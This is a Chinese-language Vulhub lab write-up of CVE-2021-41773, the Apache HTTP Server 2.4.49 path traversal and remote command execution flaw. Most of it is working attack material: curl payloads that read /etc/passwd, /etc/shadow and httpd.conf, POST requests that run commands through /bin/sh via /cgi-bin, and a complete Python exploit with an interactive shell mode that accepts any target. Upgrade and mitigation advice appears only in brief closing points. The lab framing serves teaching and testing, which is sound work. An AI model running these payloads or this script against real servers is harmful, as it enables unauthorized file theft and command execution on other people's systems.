CVE-2021-41773 Apache HTTP Server 路径穿越与远程命令执行漏洞

漏洞信息

项目 内容
CVE 编号 CVE-2021-41773
漏洞类型 路径穿越 (Path Traversal) → 任意文件读取 / 远程命令执行 (RCE)
影响组件 Apache HTTP Server
影响版本 2.4.49 仅此版本(2.4.48 及之前不受此版本特有的路径穿越影响,2.4.50 修复)
靶场版本 Apache HTTP Server 2.4.49 (Unix) + mod_cgi / mod_cgid 已启用
靶机地址 http://192.168.229.60:8080/
Vulhub 路径 /vulhub/vulhub/httpd/CVE-2021-41773/
利用条件 配置文件必须包含 <Directory />Require all granted</Directory>(本靶场已配置)

漏洞原理

背景

Apache HTTP Server 2.4.49 版本在路径规范化(URL path normalization)处理逻辑中存在缺陷。当 URL 路径中包含 .%2e(即 URL 编码的 ../ 组合)时,Apache 的路径解析函数未能正确规范化,导致可以绕过目录限制,访问 Web 根目录以外的文件。

漏洞成因

复制代码
正常请求:
  GET /icons/README HTTP/1.1
  → Apache 规范化路径:/usr/local/apache2/htdocs/icons/README ✅
​
路径穿越请求:
  GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
  → Apache 未能正确解码并规范化 .%2e (即..)
  → 实际访问:/etc/passwd ❌
复制代码
              访问路径分析
┌──────────────────────────────────────────────────┐
│  /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd    │
│         │             │             │             │
│         ▼             ▼             ▼             │
│        ../          ../           ../            │
│         └──────┬──────┘             │             │
│                ▼                    │             │
│    /icons/向上穿越一次               │             │
│                │                    │             │
│         连续4次穿越                  │             │
│                │                    │             │
│    路径: /icons → / → / → / → / → /etc/passwd    │
└──────────────────────────────────────────────────┘

RCE 原理

当 Apache 同时启用了 mod_cgimod_cgid 时,路径穿越可以访问到 /cgi-bin/ 目录之外的 CGI 脚本。通过穿越到 /bin/sh 并传入 POST 数据,可以实现任意命令执行:

复制代码
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
Content-Type: application/x-www-form-urlencoded
​
echo;id
  • /cgi-bin/ 是 Apache 默认配置的 CGI 脚本目录

  • 路径穿越到 /bin/sh(系统 shell)

  • echo; 确保输出不会干扰标准输出

  • 后续命令以 daemon 用户权限执行

攻击步骤

Step 1:确认靶机版本

复制代码
GET / HTTP/1.1
Host: 192.168.229.60:8080
复制代码
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
Content-Type: text/html
​
<html><body><h1>It works!</h1></body></html>

确认 Apache 版本为 2.4.49,存在漏洞。

Step 2:路径穿越读取任意文件

利用 .%2e 绕过路径检查,读取服务器上的任意文件:

复制代码
# 读取 /etc/passwd
curl -v --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
复制代码
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

关键参数说明:

  • --path-as-is --- 告诉 curl 不要自动规范化 URL 中的路径(必须使用!)

  • /icons/ --- Apache 默认存在的可访问目录

  • .%2e --- URL 编码后的 .(点),与后面的 %2e 组合解码后为 ..(上级目录)

更多文件读取示例:

复制代码
# 读取 Apache 配置文件
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/conf/httpd.conf'
​
# 读取 Web 目录下的脚本源码(保护源码不被直接访问)
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/usr/local/apache2/htdocs/index.html'
​
# 读取系统敏感文件
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow'
curl --path-as-is 'http://192.168.229.60:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/hosts'

Step 3:CGI 模式远程命令执行(RCE)

当服务器启用了 mod_cgimod_cgid(本靶场已开启),路径穿越可访问到系统 shell:

复制代码
curl -v --data "echo;id" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
复制代码
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
​
uid=1(daemon) gid=1(daemon) groups=1(daemon)

命令以 daemon 用户身份执行。通过更换 POST body 可以执行任意命令:

复制代码
curl --data "echo;ls -la /" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
curl --data "echo;cat /etc/passwd" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
curl --data "echo;whoami" 'http://192.168.229.60:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'

Python 版完整利用脚本

复制代码
#!/usr/bin/env python3
"""
CVE-2021-41773 - Apache HTTP Server 2.4.49 Path Traversal & RCE Exploit
Author: Vulhub Lab
"""
​
import requests
import sys
import urllib.parse
​
class CVE_2021_41773:
    def __init__(self, target, port=80):
        self.base_url = f"http://{target}:{port}"
        self.session = requests.Session()
    
    def read_file(self, filepath, directory="/icons"):
        """
        路径穿越读取任意文件
        
        Args:
            filepath: 目标文件路径,如 "/etc/passwd"
            directory: 起始目录,默认 /icons
        
        Returns:
            文件内容字符串,失败返回 None
        """
        # 构建穿越路径: 从 /icons 需要穿越到根然后再到目标
        traversal = "/.%2e/%2e%2e/%2e%2e/%2e%2e"
        url = f"{self.base_url}{directory}{traversal}{filepath}"
        
        print(f"[*] Reading: {filepath}")
        print(f"[*] URL: {url}")
        
        try:
            # --path-as-is 对应 Python 中不自动规范化路径
            r = self.session.get(url, timeout=10)
            if r.status_code == 200 and len(r.text) > 0:
                print(f"[+] Success! ({len(r.text)} bytes)")
                return r.text
            else:
                print(f"[-] Failed: HTTP {r.status_code}")
                return None
        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")
            return None
    
    def exec_command(self, command):
        """
        通过 CGI 路径穿越执行系统命令 (RCE)
        
        Args:
            command: 要执行的命令,如 "id", "ls -la /"
        
        Returns:
            命令输出字符串,失败返回 None
        """
        url = f"{self.base_url}/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
        payload = f"echo;{command}"
        
        print(f"[*] Executing: {command}")
        print(f"[*] POST to: {url}")
        
        try:
            r = self.session.post(url, data=payload, timeout=10)
            if r.status_code == 200 and len(r.text) > 0:
                print(f"[+] Success! ({len(r.text)} bytes)")
                return r.text
            else:
                print(f"[-] Failed: HTTP {r.status_code}")
                return None
        except requests.exceptions.RequestException as e:
            print(f"[-] Error: {e}")
            return None
    
    def interactive_shell(self):
        """交互式命令执行"""
        print("[*] CVE-2021-41773 RCE Interactive Shell (type 'exit' to quit)")
        print("[*] Commands run as 'daemon' user")
        print()
        while True:
            try:
                cmd = input("$ ").strip()
                if cmd.lower() in ('exit', 'quit'):
                    break
                if not cmd:
                    continue
                output = self.exec_command(cmd)
                if output:
                    print(output)
            except KeyboardInterrupt:
                print("\n[*] Exiting...")
                break
            except Exception as e:
                print(f"[-] Error: {e}")
​
​
def banner():
    print("=" * 55)
    print("  CVE-2021-41773 - Apache 2.4.49 Path Traversal / RCE")
    print("=" * 55)
    print()
​
def main():
    banner()
    
    if len(sys.argv) < 3:
        print("Usage:")
        print("  python3 cve-2021-41773.py <target> <port> read <filepath>")
        print("  python3 cve-2021-41773.py <target> <port> exec <command>")
        print("  python3 cve-2021-41773.py <target> <port> shell")
        print()
        print("Examples:")
        print("  python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd")
        print("  python3 cve-2021-41773.py 192.168.229.60 8080 exec 'id'")
        print("  python3 cve-2021-41773.py 192.168.229.60 8080 shell")
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2])
    action = sys.argv[3]
    
    exploit = CVE_2021_41773(target, port)
    
    if action == "read" and len(sys.argv) >= 5:
        filepath = sys.argv[4]
        content = exploit.read_file(filepath)
        if content:
            print("=" * 55)
            print(content.rstrip())
            print("=" * 55)
    
    elif action == "exec" and len(sys.argv) >= 5:
        command = ' '.join(sys.argv[4:])
        output = exploit.exec_command(command)
        if output:
            print("=" * 55)
            print(output.rstrip())
            print("=" * 55)
    
    elif action == "shell":
        exploit.interactive_shell()
    
    else:
        print("[-] Invalid action or missing arguments")
​
​
if __name__ == "__main__":
    main()

使用示例

复制代码
# 读取文件
python3 cve-2021-41773.py 192.168.229.60 8080 read /etc/passwd
​
# 执行命令
python3 cve-2021-41773.py 192.168.229.60 8080 exec 'id'
​
# 交互式 Shell
python3 cve-2021-41773.py 192.168.229.60 8080 shell

关键要点总结

✅/⚠️ 要点
CVE-2021-41773 仅影响 Apache HTTP Server 2.4.49 这一个版本(非常罕见的单一版本漏洞)
路径穿越 :利用 .%2e(URL 编码的 ..)绕过路径规范化 → 任意文件读取
远程命令执行 :当 mod_cgi/mod_cgid 开启时,可通过 /cgi-bin/.%2e/../bin/sh 执行命令
--path-as-is 是 curl 利用的关键参数,否则 curl 会自动规范化路径导致攻击失败
RCE 以 daemon 用户权限执行(非 root),但已足够造成严重破坏
⚠️ 修复方案:升级到 Apache 2.4.50 或更高版本
⚠️ 临时缓解:在配置中移除 <Directory />Require all granted</Directory>
⚠️ 如果业务无法升级,可在 WAF/Nginx 反向代理层拦截包含 %2e.. 的请求路径
⚠️ 该漏洞在 2021 年 10 月被公开后 48 小时内即出现大量在野利用,属于紧急修补类漏洞